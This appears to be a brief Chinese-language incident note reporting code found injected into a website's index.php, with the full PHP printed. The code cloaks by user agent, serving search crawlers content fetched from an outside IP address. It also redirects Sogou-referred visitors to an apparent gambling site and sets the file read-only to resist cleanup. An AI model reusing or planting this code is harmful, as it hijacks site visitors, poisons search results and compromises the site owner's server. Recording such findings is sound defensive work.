检查index.php 发现,多了以下代码:
<?php
header('Content-Type:text/html;charset=gb2312');
$key= $_SERVER["HTTP_USER_AGENT"];
if(strpos($key,'google')!== false||strpos($key,'baidu')!==false||strpos($key,'sogou')!==false||strpos($key,'so')!==false)
{
$host_name = "http://".$_SERVER['SERVER_NAME'].$_SERVER['PHP_SELF'];
$file = file_get_contents('http://45.199.97.205/'."/index.php?host=".$host_name."&url=" . $_SERVER['QUERY_STRING'] . "&domain=" . $_SERVER['SERVER_NAME']);
echo $file;
}
$ref = $_SERVER['HTTP_REFERER'];
if(stripos($ref,"sogou"))
{
header("Location: http://www.cy8888.vip/");
exit;
}
$url1 = $_SERVER['PHP_SELF'];
$filename1 = @end(explode('/',$url1));
function set_writeable($file_name)
{
@chmod($file_name,0444);
}
set_writeable($filename1);
?>